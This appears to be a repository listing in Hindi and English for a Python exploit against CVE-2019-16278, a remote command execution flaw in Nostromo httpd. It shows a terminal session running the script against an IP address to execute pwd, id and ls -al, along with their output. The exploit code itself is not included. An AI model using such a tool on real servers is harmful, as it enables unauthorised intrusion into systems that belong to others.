ianxtianxt/cve-2019-16278CVE-2019-16278 के लिए Python एक्सप्लॉइट स्क्रिप्ट, जो Nostromo httpd में रिमोट कमांड निष्पादन भेद्यता है। विशेष रूप से तैयार किए गए HTTP अनुरोधों के माध्यम से असुरक्षित सर्वरों पर मनमाने कमांड निष्पादित करता है।
CVE-2019-16278Nostromo httpd कमांड निष्पादन
➜ Downloads python nostromo.py 114.114.114.114 8080 pwd
/bin
➜ Downloads python nostromo.py 114.114.114.114 8080 id
uid=65534 gid=65534
➜ Downloads python nostromo.py 114.114.114.114 8080 "ls -al"
drwxr-xr-x 2 0 0 0 Apr 12 2013 .
drwxr-xr-x 16 0 0 0 Jan 1 1970 ..
lrwxrwxrwx 1 0 0 7 Apr 12 2013 ash -> busybox
